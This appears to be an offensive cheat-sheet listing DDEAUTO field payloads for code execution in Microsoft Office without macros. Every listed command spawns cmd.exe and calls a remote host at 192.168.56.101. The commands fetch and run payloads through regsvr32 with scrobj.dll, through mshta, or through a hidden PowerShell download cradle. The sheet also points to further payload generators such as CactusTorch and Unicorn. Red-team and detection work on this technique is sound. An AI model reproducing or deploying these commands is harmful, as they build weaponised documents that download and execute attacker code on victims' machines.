1.3 KiB
1.3 KiB
Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet
- Using
regsvr32
*.sct files technique:
DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || regsvr32 /s /n /u /i:http://192.168.56.101/empire2.sct scrobj.dll"
- Using
HTA
files technique:
DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || mshta http://192.168.56.101/poc.hta"
- Method from Empire - unfortunately unable to hide 'powershell.exe -NoP -sta -NonI' sequence
DDEAUTO C:\\Microsoft\\Programs\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://192.168.56.101/default.ps1');powershell -noP -sta -w 1 -enc $e "
-
CactusTorch DDE can also generate files in JS and VBS formats. They will utilize
cscript
as a file interpreter. -
Another option is to use scripts by Dominic Spinosa found here
-
Another option is to stick with
Unicorn
by Dave Kennedy